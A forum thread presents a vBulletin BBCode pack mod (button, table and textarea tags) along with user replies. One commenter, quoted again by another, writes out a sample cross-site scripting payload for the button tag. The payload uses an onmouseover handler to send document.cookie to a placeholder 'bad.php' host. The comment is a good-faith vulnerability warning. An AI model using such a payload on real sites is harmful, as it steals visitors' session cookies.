New Posting Features - ZH - BBCode Pack

This modification was brought to you by
KXDesign

http://www.kxdesign.com/

~Hack name
BBCode Pack

~Hack description
Here are some bbcodes for you.This will be update all the time so subscribe,click install or bookmark

~Hack options

• Push button
• Table
• Textarea

~Hack info
File uploads: 0
File edits: 0
Templates: 0
Template edits: 0
Plugins: 0
SQL Queries: 0
Phrases: 0
Settings: 0
Hooks: 0

Install time: 3 mins
Install level: Easy

~Hack installation

Step 1: Open bbcode manager and choose the bbcodes in the zh_bbcodepack.txt file

Step 2: Add those bbcodes



~Hack screenshots
None


~Hack changelog

• 1.0.0 - First release

~Hack copyright
This may not be distributed,released or claimed as your work without author's permission.

[Ziki]

~Reserved~

[hotmasala4u]

first one nice let me see

[projectego]

Nice little BBCode pack. Cheers!

[Ziki]

Not nice yet.It will be updated soon but I'm just too lazy to finish it today

[Reven]

I don't know whether or not vBulletin cleans the {param} value, but it looks at first glance like anything can be injected into the HTML of the page through the first tag.

e.g. [button=" onmouseover="window.location.href='http://www.example.com/bad.php?cookies=' + document.cookie"]Click me so I can steal your cookies![/button] would make a button which, when focused on with the mouse, would redirect the user to a site which steals their cookies.

I may be wrong though...

[Ziki]

hm I don't really know but just to be sure you should edit the post

[Atakan KOC]

Nice Thanks... Installed...

[YeşiLMeN]

Good Job

Installed

[rjmjr69]

Originally Posted by Reven

I don't know whether or not vBulletin cleans the {param} value, but it looks at first glance like anything can be injected into the HTML of the page through the first tag.

e.g. [button=" onmouseover="window.location.href='http://www.example.com/bad.php?cookies=' + document.cookie"]Click me so I can steal your cookies![/button] would make a button which, when focused on with the mouse, would redirect the user to a site which steals their cookies.

I may be wrong though...

Would you please test your theory and let us know if things are out of line there? We deserve at least a warning and seeing how you brought it up I think you should be the one to test it......lol
I agree though the information should be edited until it can be confirmed maybe notify the coder and let him figure it all out.